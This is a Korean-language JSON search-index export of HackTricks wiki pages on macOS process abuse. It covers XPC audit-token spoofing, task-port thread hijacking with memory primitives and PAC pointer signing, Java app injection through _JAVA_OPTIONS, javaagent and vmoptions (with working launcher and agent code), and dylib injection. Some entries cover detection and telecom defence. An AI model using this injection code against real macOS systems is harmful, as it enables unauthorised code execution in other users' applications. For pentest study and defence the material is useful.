![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../images/image (1) (1) (1) (1) (1) (1) (1).png)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS xpc_connection_get_audit_token Attack » Variant 2: 응답 전달","id":"2467","title":"Variant 2: 응답 전달"},"2468":{"body":"인스턴스 찾기 어려움 : xpc_connection_get_audit_token 사용 인스턴스를 정적 및 동적으로 찾는 것이 어려웠습니다. 방법론 : Frida를 사용하여 xpc_connection_get_audit_token 함수를 후킹하고, 이벤트 핸들러에서 발생하지 않는 호출을 필터링했습니다. 그러나 이 방법은 후킹된 프로세스에 한정되었고, 활성 사용이 필요했습니다. 분석 도구 : IDA/Ghidra와 같은 도구를 사용하여 접근 가능한 mach 서비스를 검사했지만, 이 과정은 시간이 많이 소요되었고 dyld 공유 캐시와 관련된 호출로 인해 복잡했습니다. 스크립팅 제한 : dispatch_async 블록에서 xpc_connection_get_audit_token 호출을 분석하기 위한 스크립팅 시도가 블록 구문 분석 및 dyld 공유 캐시와의 상호작용의 복잡성으로 인해 방해받았습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS xpc_connection_get_audit_token Attack » 발견 문제","id":"2468","title":"발견 문제"},"2469":{"body":"보고된 문제 : smd 내에서 발견된 일반 및 특정 문제에 대한 보고서를 Apple에 제출했습니다. Apple의 응답 : Apple은 smd에서 xpc_connection_get_audit_token을 xpc_dictionary_get_audit_token으로 대체하여 문제를 해결했습니다. 수정의 성격 : xpc_dictionary_get_audit_token 함수는 수신된 XPC 메시지와 연결된 mach 메시지에서 직접 감사 토큰을 검색하므로 안전한 것으로 간주됩니다. 그러나 이는 xpc_connection_get_audit_token과 유사하게 공개 API의 일부가 아닙니다. 더 넓은 수정의 부재 : Apple이 연결의 저장된 감사 토큰과 일치하지 않는 메시지를 폐기하는 것과 같은 보다 포괄적인 수정을 구현하지 않은 이유는 불분명합니다. 특정 시나리오(예: setuid 사용)에서 합법적인 감사 토큰 변경 가능성이 요인이 될 수 있습니다. 현재 상태 : 이 문제는 iOS 17 및 macOS 14에서 여전히 존재하며, 이를 식별하고 이해하려는 사람들에게 도전 과제가 되고 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS xpc_connection_get_audit_token Attack » 수정 사항","id":"2469","title":"수정 사항"},"247":{"body":"Open5GS: AMF/SMF/UPF를 띄워 core를 에뮬레이트; N2 (NGAP) 및 NAS 관찰. Wireshark: NGAP/NAS 디코드 확인; 위의 필터를 적용해 Registration을 분리. 5GReplay: registration을 캡처한 뒤 규칙대로 특정 NGAP + NAS 메시지를 replay. Sni5Gect: NAS control-plane을 실시간 sniff/modify/inject하여 null algorithms를 강제하거나 authentication 시퀀스를 교란.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 9.4 도구 포인터 (재현 가능)","id":"247","title":"9.4 도구 포인터 (재현 가능)"},"2470":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » macOS Thread Injection via Task port","id":"2470","title":"macOS Thread Injection via Task port"},"2471":{"body":"https://github.com/bazad/threadexec https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » Code","id":"2471","title":"Code"},"2472":{"body":"처음에, task_threads() 함수가 원격 작업에서 스레드 목록을 얻기 위해 작업 포트에서 호출됩니다. 스레드가 하이재킹을 위해 선택됩니다. 이 접근 방식은 thread_create_running()을 차단하는 완화 조치로 인해 새로운 원격 스레드를 생성하는 것이 금지되므로 기존의 코드 주입 방법과 다릅니다. 스레드를 제어하기 위해 thread_suspend()가 호출되어 실행이 중단됩니다. 원격 스레드에서 허용되는 유일한 작업은 중지 및 시작 과 레지스터 값 을 가져오고 / 수정하는 것입니다. 원격 함수 호출은 레지스터 x0에서 x7을 인수 로 설정하고, pc를 원하는 함수로 설정한 후 스레드를 재개하여 시작됩니다. 반환 후 스레드가 충돌하지 않도록 하려면 반환을 감지해야 합니다. 한 가지 전략은 thread_set_exception_ports()를 사용하여 원격 스레드에 대한 예외 처리기 를 등록하고, 함수 호출 전에 lr 레지스터를 잘못된 주소로 설정하는 것입니다. 이는 함수 실행 후 예외를 발생시켜 예외 포트에 메시지를 전송하고, 스레드의 상태를 검사하여 반환 값을 복구할 수 있게 합니다. 또는 Ian Beer의 triple_fetch 익스플로잇에서 채택한 대로, lr을 무한 루프에 설정하여 스레드의 레지스터를 지속적으로 모니터링하다가 pc가 해당 명령어를 가리킬 때까지 기다립니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 1. Thread Hijacking","id":"2472","title":"1. Thread Hijacking"},"2473":{"body":"다음 단계는 원격 스레드와의 통신을 용이하게 하기 위해 Mach 포트를 설정하는 것입니다. 이러한 포트는 작업 간에 임의의 송신/수신 권한을 전송하는 데 필수적입니다. 양방향 통신을 위해 두 개의 Mach 수신 권한이 생성됩니다: 하나는 로컬 작업에, 다른 하나는 원격 작업에 있습니다. 이후 각 포트에 대한 송신 권한이 상대 작업으로 전송되어 메시지 교환이 가능해집니다. 로컬 포트에 집중하면, 수신 권한은 로컬 작업에 의해 보유됩니다. 포트는 mach_port_allocate()로 생성됩니다. 이 포트에 송신 권한을 원격 작업으로 전송하는 것이 도전 과제가 됩니다. 전략은 thread_set_special_port()를 활용하여 원격 스레드의 THREAD_KERNEL_PORT에 로컬 포트에 대한 송신 권한을 배치하는 것입니다. 그런 다음 원격 스레드에 mach_thread_self()를 호출하여 송신 권한을 가져오도록 지시합니다. 원격 포트의 경우, 과정은 본질적으로 반대로 진행됩니다. 원격 스레드는 mach_reply_port()를 통해 Mach 포트를 생성하도록 지시받습니다(반환 메커니즘 때문에 mach_port_allocate()는 적합하지 않음). 포트가 생성되면, 원격 스레드에서 mach_port_insert_right()가 호출되어 송신 권한이 설정됩니다. 이 권한은 thread_set_special_port()를 사용하여 커널에 저장됩니다. 로컬 작업으로 돌아가서, thread_get_special_port()를 사용하여 원격 작업의 새로 할당된 Mach 포트에 대한 송신 권한을 획득합니다. 이 단계가 완료되면 Mach 포트가 설정되어 양방향 통신을 위한 기초가 마련됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 2. Mach ports for communication","id":"2473","title":"2. Mach ports for communication"},"2474":{"body":"이 섹션에서는 기본 메모리 읽기/쓰기 원시 작업을 설정하기 위해 실행 원시 작업을 활용하는 데 중점을 둡니다. 이러한 초기 단계는 원격 프로세스에 대한 더 많은 제어를 얻는 데 중요하지만, 이 단계의 원시 작업은 많은 용도로 사용되지 않을 것입니다. 곧 더 고급 버전으로 업그레이드될 것입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 3. Basic Memory Read/Write Primitives","id":"2474","title":"3. Basic Memory Read/Write Primitives"},"2475":{"body":"목표는 특정 함수를 사용하여 메모리 읽기 및 쓰기를 수행하는 것입니다. 메모리 읽기 : c uint64_t read_func(uint64_t *address) {\\nreturn *address;\\n} 메모리 쓰기 : c void write_func(uint64_t *address, uint64_t value) {\\n*address = value;\\n} 이 함수들은 다음 어셈블리에 해당합니다: _read_func:\\nldr x0, [x0]\\nret\\n_write_func:\\nstr x1, [x0]\\nret","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » Memory reading and writing using the execute primitive","id":"2475","title":"Memory reading and writing using the execute primitive"},"2476":{"body":"일반 라이브러리를 스캔한 결과 이러한 작업에 적합한 후보가 발견되었습니다: 메모리 읽기 — property_getName() (libobjc): c const char *property_getName(objc_property_t prop) {\\nreturn prop->name;\\n} 메모리 쓰기 — _xpc_int64_set_value() (libxpc): c __xpc_int64_set_value:\\nstr x1, [x0, #0x18]\\nret 임의의 주소에 64비트 쓰기를 수행하려면: c _xpc_int64_set_value(address - 0x18, value); 이러한 원시 기능이 설정되면, 원격 프로세스를 제어하는 데 있어 중요한 진전을 이루는 공유 메모리를 생성할 준비가 됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 적합한 함수 식별","id":"2476","title":"적합한 함수 식별"},"2477":{"body":"목표는 로컬 및 원격 작업 간에 공유 메모리를 설정하여 데이터 전송을 간소화하고 여러 인수를 가진 함수 호출을 용이하게 하는 것입니다. 이 접근 방식은 libxpc와 Mach 메모리 항목을 기반으로 구축된 OS_xpc_shmem 객체 유형을 활용합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 4. 공유 메모리 설정","id":"2477","title":"4. 공유 메모리 설정"},"2478":{"body":"메모리 할당 mach_vm_allocate()를 사용하여 공유할 메모리를 할당합니다. 할당된 영역에 대해 xpc_shmem_create()를 사용하여 OS_xpc_shmem 객체를 생성합니다. 원격 프로세스에서 공유 메모리 생성 원격 프로세스에서 OS_xpc_shmem 객체를 위한 메모리를 할당합니다 (remote_malloc). 로컬 템플릿 객체를 복사합니다; 0x18 오프셋에서 내장된 Mach 전송 권한의 수정이 여전히 필요합니다. Mach 메모리 항목 수정 thread_set_special_port()로 전송 권한을 삽입하고 0x18 필드를 원격 항목의 이름으로 덮어씁니다. 최종화 원격 객체를 검증하고 xpc_shmem_remote()에 대한 원격 호출로 매핑합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 프로세스 개요","id":"2478","title":"프로세스 개요"},"2479":{"body":"임의 실행 및 공유 메모리 백 채널이 가능해지면, 효과적으로 대상 프로세스를 소유하게 됩니다: 임의 메모리 R/W — 로컬 및 공유 영역 간에 memcpy()를 사용합니다. 8개 이상의 인수를 가진 함수 호출 — arm64 호출 규약에 따라 스택에 추가 인수를 배치합니다. Mach 포트 전송 — 설정된 포트를 통해 Mach 메시지에서 권한을 전달합니다. 파일 설명자 전송 — 파일 포트를 활용합니다 (참조: triple_fetch ). 이 모든 것은 쉽게 재사용할 수 있도록 threadexec 라이브러리에 포장되어 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 5. 완전한 제어 달성","id":"2479","title":"5. 완전한 제어 달성"},"248":{"body":"Registration Request를 지속적으로 검사하여 평문 SUPI/IMSI 존재 여부 확인; 문제 장치/USIM 차단. EEA0/EIA0는 좁게 정의된 비상 절차를 제외하고 거부; 최소 EEA2/EIA2 요구. 무단 또는 잘못 구성된 인프라 탐지: unauthorized gNB/AMF, 예기치 않은 N2 피어. null algorithms을 유발하거나 InitialUEMessage의 빈번한 replay를 초래하는 NAS security modes에 대해 경보.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 9.5 방어 체크리스트","id":"248","title":"9.5 방어 체크리스트"},"2480":{"body":"Apple Silicon 장치(arm64e)에서는 **포인터 인증 코드(PAC)**가 모든 반환 주소와 많은 함수 포인터를 보호합니다. 기존 코드를 재사용하는 스레드 하이재킹 기술은 lr/pc의 원래 값이 이미 유효한 PAC 서명을 가지고 있기 때문에 계속 작동합니다. 공격자가 제어하는 메모리로 점프하려고 할 때 문제가 발생합니다: 대상 내부에 실행 가능한 메모리를 할당합니다 (원격 mach_vm_allocate + mprotect(PROT_EXEC)). 페이로드를 복사합니다. 원격 프로세스 내에서 포인터에 서명합니다: c uint64_t ptr = (uint64_t)payload;\\nptr = ptrauth_sign_unauthenticated((void*)ptr, ptrauth_key_asia, 0); 하이재킹된 스레드 상태에서 pc = ptr 설정. 또는 기존의 가젯/함수를 연결하여 PAC 준수를 유지합니다 (전통적인 ROP).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 6. Apple Silicon (arm64e) 뉘앙스","id":"2480","title":"6. Apple Silicon (arm64e) 뉘앙스"},"2481":{"body":"EndpointSecurity (ES) 프레임워크는 방어자가 스레드 주입 시도를 관찰하거나 차단할 수 있도록 하는 커널 이벤트를 노출합니다: ES_EVENT_TYPE_AUTH_GET_TASK – 프로세스가 다른 작업의 포트를 요청할 때 발생합니다 (예: task_for_pid()). ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE – 다른 작업에서 스레드가 생성될 때마다 발생합니다. ES_EVENT_TYPE_NOTIFY_THREAD_SET_STATE (macOS 14 Sonoma에 추가됨) – 기존 스레드의 레지스터 조작을 나타냅니다. 원격 스레드 이벤트를 출력하는 최소한의 Swift 클라이언트: swift import EndpointSecurity let client = try! ESClient(subscriptions: [.notifyRemoteThreadCreate]) {\\n(_, msg) in\\nif let evt = msg.remoteThreadCreate {\\nprint(\\"[ALERT] remote thread in pid \\\\(evt.target.pid) by pid \\\\(evt.thread.pid)\\")\\n}\\n}\\nRunLoop.main.run() osquery ≥ 5.8로 쿼리하기: sql SELECT target_pid, source_pid, target_path\\nFROM es_process_events\\nWHERE event_type = \'REMOTE_THREAD_CREATE\';","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 7. 탐지 및 EndpointSecurity를 통한 강화","id":"2481","title":"7. 탐지 및 EndpointSecurity를 통한 강화"},"2482":{"body":"애플리케이션을 com.apple.security.get-task-allow 권한 없이 배포하면 비루트 공격자가 해당 작업 포트를 얻는 것을 방지할 수 있습니다. 시스템 무결성 보호(SIP)는 여전히 많은 Apple 바이너스에 대한 접근을 차단하지만, 서드파티 소프트웨어는 명시적으로 옵트아웃해야 합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » Hardened-runtime considerations","id":"2482","title":"Hardened-runtime considerations"},"2483":{"body":"Tool Year Remarks task_vaccine 2023 Ventura/Sonoma에서 PAC 인식 스레드 하이재킹을 보여주는 간결한 PoC remote_thread_es 2024 여러 EDR 공급자가 REMOTE_THREAD_CREATE 이벤트를 표출하는 데 사용하는 EndpointSecurity 헬퍼 이러한 프로젝트의 소스 코드를 읽는 것은 macOS 13/14에서 도입된 API 변경 사항을 이해하고 Intel ↔ Apple Silicon 간의 호환성을 유지하는 데 유용합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » 8. Recent Public Tooling (2023-2025)","id":"2483","title":"8. Recent Public Tooling (2023-2025)"},"2484":{"body":"https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/ https://github.com/rodionovd/task_vaccine https://developer.apple.com/documentation/endpointsecurity/es_event_type_notify_remote_thread_create tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS Thread Injection via Task port » References","id":"2484","title":"References"},"2485":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Java Applications Injection » macOS Java Applications Injection","id":"2485","title":"macOS Java Applications Injection"},"2486":{"body":"시스템에 설치된 Java 애플리케이션을 찾습니다. Info.plist 에 있는 Java 앱은 java. 문자열을 포함하는 일부 Java 매개변수를 포함하는 것으로 확인되었습니다. 따라서 이를 검색할 수 있습니다: bash # Search only in /Applications folder\\nsudo find /Applications -name \'Info.plist\' -exec grep -l \\"java\\\\.\\" {} \\\\; 2>/dev/null # Full search\\nsudo find / -name \'Info.plist\' -exec grep -l \\"java\\\\.\\" {} \\\\; 2>/dev/null","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Java Applications Injection » Enumeration","id":"2486","title":"Enumeration"},"2487":{"body":"환경 변수 **_JAVA_OPTIONS**는 자바로 컴파일된 앱의 실행에 임의의 자바 매개변수를 주입하는 데 사용할 수 있습니다: bash # Write your payload in a script called /tmp/payload.sh\\nexport _JAVA_OPTIONS=\'-Xms2m -Xmx5m -XX:OnOutOfMemoryError=\\"/tmp/payload.sh\\"\'\\n\\"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub\\" 현재 터미널의 자식으로 실행하지 않고 새로운 프로세스로 실행하려면 다음을 사용할 수 있습니다: objectivec #import \\n// clang -fobjc-arc -framework Foundation invoker.m -o invoker int main(int argc, const char * argv[]) {\\n@autoreleasepool {\\n// Specify the file path and content\\nNSString *filePath = @\\"/tmp/payload.sh\\";\\nNSString *content = @\\"#!/bin/bash\\\\n/Applications/iTerm.app/Contents/MacOS/iTerm2\\"; NSError *error = nil; // Write content to the file\\nBOOL success = [content writeToFile:filePath\\natomically:YES\\nencoding:NSUTF8StringEncoding\\nerror:&error]; if (!success) {\\nNSLog(@\\"Error writing file at %@\\\\n%@\\", filePath, [error localizedDescription]);\\nreturn 1;\\n} NSLog(@\\"File written successfully to %@\\", filePath); // Create a new task\\nNSTask *task = [[NSTask alloc] init]; /// Set the task\'s launch path to use the \'open\' command\\n[task setLaunchPath:@\\"/usr/bin/open\\"]; // Arguments for the \'open\' command, specifying the path to Android Studio\\n[task setArguments:@[@\\"/Applications/Android Studio.app\\"]]; // Define custom environment variables\\nNSDictionary *customEnvironment = @{\\n@\\"_JAVA_OPTIONS\\": @\\"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh\\"\\n}; // Get the current environment and merge it with custom variables\\nNSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];\\n[environment addEntriesFromDictionary:customEnvironment]; // Set the task\'s environment\\n[task setEnvironment:environment]; // Launch the task\\n[task launch];\\n}\\nreturn 0;\\n} 그러나, 이는 실행된 앱에서 오류를 발생시킬 것이며, 더 은밀한 방법은 자바 에이전트를 생성하고 사용하는 것입니다: bash export _JAVA_OPTIONS=\'-javaagent:/tmp/Agent.jar\'\\n\\"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub\\" # Or open --env \\"_JAVA_OPTIONS=\'-javaagent:/tmp/Agent.jar\'\\" -a \\"Burp Suite Professional\\" caution 에이전트를 다른 Java 버전 으로 생성하면 에이전트와 애플리케이션 모두의 실행이 중단될 수 있습니다. 에이전트는 다음과 같을 수 있습니다: Agent.java import java.io.*;\\nimport java.lang.instrument.*; public class Agent {\\npublic static void premain(String args, Instrumentation inst) {\\ntry {\\nString[] commands = new String[] { \\"/usr/bin/open\\", \\"-a\\", \\"Calculator\\" };\\nRuntime.getRuntime().exec(commands);\\n}\\ncatch (Exception err) {\\nerr.printStackTrace();\\n}\\n}\\n} 에이전트를 컴파일하려면 다음을 실행하십시오: bash javac Agent.java # Create Agent.class\\njar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar manifest.txt: Premain-Class: Agent\\nAgent-Class: Agent\\nCan-Redefine-Classes: true\\nCan-Retransform-Classes: true 그리고 환경 변수를 내보낸 후 다음과 같이 Java 애플리케이션을 실행합니다: bash export _JAVA_OPTIONS=\'-javaagent:/tmp/j/Agent.jar\'\\n\\"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub\\" # Or open --env \\"_JAVA_OPTIONS=\'-javaagent:/tmp/Agent.jar\'\\" -a \\"Burp Suite Professional\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Java Applications Injection » _JAVA_OPTIONS","id":"2487","title":"_JAVA_OPTIONS"},"2488":{"body":"이 파일은 Java가 실행될 때 Java 매개변수 의 지정을 지원합니다. 이전의 몇 가지 트릭을 사용하여 java 매개변수를 변경하고 프로세스가 임의의 명령을 실행하도록 만들 수 있습니다 . 게다가, 이 파일은 include 디렉토리를 사용하여 다른 파일을 포함할 수 있으므로 포함된 파일을 변경할 수도 있습니다. 더욱이, 일부 Java 앱은 하나 이상의 vmoptions 파일을 로드 합니다. Android Studio와 같은 일부 애플리케이션은 이러한 파일을 찾고 있는 출력 위치를 표시합니다. bash /Applications/Android\\\\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions 2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions\\n2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions\\n2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions\\n2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions\\n2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions\\n2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 그들이 그렇지 않다면, 다음을 사용하여 쉽게 확인할 수 있습니다: bash # Monitor\\nsudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app\\n/Applications/Android\\\\ Studio.app/Contents/MacOS/studio 안드로이드 스튜디오가 이 예제에서 /Applications/Android Studio.app.vmoptions 파일을 로드하려고 시도하는 것이 얼마나 흥미로운지 주목하세요. 이곳은 admin 그룹 의 모든 사용자가 쓰기 권한을 가진 장소입니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Java Applications Injection » vmoptions 파일","id":"2488","title":"vmoptions 파일"},"2489":{"body":"Reading time: 11 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. caution dyld의 코드가 오픈 소스 이며 https://opensource.apple.com/source/dyld/ 에서 찾을 수 있으며 URL을 사용하여 tar로 다운로드할 수 있습니다: https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Library Injection","id":"2489","title":"macOS Library Injection"},"249":{"body":"Any device other than an SGSN/GGSN establishing Create PDP Context Requests . Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs. Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields . 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal). 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 탐지 아이디어","id":"249","title":"탐지 아이디어"},"2490":{"body":"Dyld가 바이너리 내에서 라이브러리를 로드하는 방법을 살펴보세요: macOS Dyld Process","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » Dyld 프로세스","id":"2490","title":"Dyld 프로세스"},"2491":{"body":"이것은 Linux의 LD_PRELOAD 와 같습니다. 이는 실행될 프로세스가 특정 경로에서 라이브러리를 로드하도록 지시할 수 있게 해줍니다(환경 변수가 활성화된 경우). 이 기술은 모든 설치된 애플리케이션이 \\"Info.plist\\"라는 plist를 가지고 있어 환경 변수를 할당 할 수 있도록 하는 ASEP 기술로 사용될 수 있습니다 . tip 2012년 이후 Apple은 DYLD_INSERT_LIBRARIES의 권한을 대폭 줄였습니다 . 코드를 확인하고 **src/dyld.cpp**를 확인하세요. pruneEnvironmentVariables 함수에서 DYLD_* 변수가 제거되는 것을 볼 수 있습니다. processRestricted 함수에서 제한의 이유가 설정됩니다. 해당 코드를 확인하면 이유는 다음과 같습니다: 바이너리가 setuid/setgid입니다. macho 바이너리에 __RESTRICT/__restrict 섹션이 존재합니다. 소프트웨어에 com.apple.security.cs.allow-dyld-environment-variables 권한이 없는 권한(강화된 런타임)이 있습니다. 바이너리의 권한 을 확인하려면: codesign -dv --entitlements :- 더 최신 버전에서는 이 논리를 configureProcessRestrictions 함수의 두 번째 부분에서 찾을 수 있습니다. 그러나 최신 버전에서 실행되는 것은 함수의 시작 검사 입니다(이것은 macOS에서 사용되지 않을 iOS 또는 시뮬레이션과 관련된 if를 제거할 수 있습니다).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » DYLD_INSERT_LIBRARIES","id":"2491","title":"DYLD_INSERT_LIBRARIES"},"2492":{"body":"바이너리가 DYLD_INSERT_LIBRARIES 환경 변수를 사용하도록 허용하더라도, 바이너리가 로드할 라이브러리의 서명을 확인하면 사용자 정의 라이브러리를 로드하지 않습니다. 사용자 정의 라이브러리를 로드하려면 바이너리가 다음 권한 중 하나 를 가져야 합니다: com.apple.security.cs.disable-library-validation com.apple.private.security.clear-library-validation 또는 바이너리가 강화된 런타임 플래그 또는 라이브러리 검증 플래그 를 가지지 않아야 합니다. 바이너리에 강화된 런타임 이 있는지 확인하려면 codesign --display --verbose 을 사용하여 **CodeDirectory**에서 플래그 런타임을 확인하세요: CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded 바이너리와 같은 인증서로 서명된 라이브러리를 로드할 수도 있습니다. 이것을 (악용)하는 방법과 제한 사항을 확인하려면: macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » 라이브러리 검증","id":"2492","title":"라이브러리 검증"},"2493":{"body":"caution Dylib 하이재킹 공격을 수행하기 위해서는 이전 라이브러리 검증 제한이 적용된다는 것을 기억하세요 . Windows와 마찬가지로 MacOS에서도 dylibs를 하이재킹 하여 애플리케이션이 임의의 코드를 실행 하도록 만들 수 있습니다(사실 일반 사용자에게는 TCC 권한이 필요할 수 있으므로 .app 번들 내에서 쓰기 및 라이브러리 하이재킹이 불가능할 수 있습니다). 그러나 MacOS 애플리케이션이 라이브러리 를 로드하는 방식은 Windows보다 더 제한적 입니다. 이는 악성 소프트웨어 개발자가 여전히 이 기술을 은폐 를 위해 사용할 수 있지만, 권한 상승을 악용할 가능성은 훨씬 낮습니다 . 우선, MacOS 바이너리가 로드할 라이브러리의 전체 경로를 지정하는 것이 더 일반적 입니다. 둘째, MacOS는 라이브러리를 위해 $PATH 의 폴더를 검색하지 않습니다 . 이 기능과 관련된 주요 코드는 **ImageLoader::recursiveLoadLibraries**에 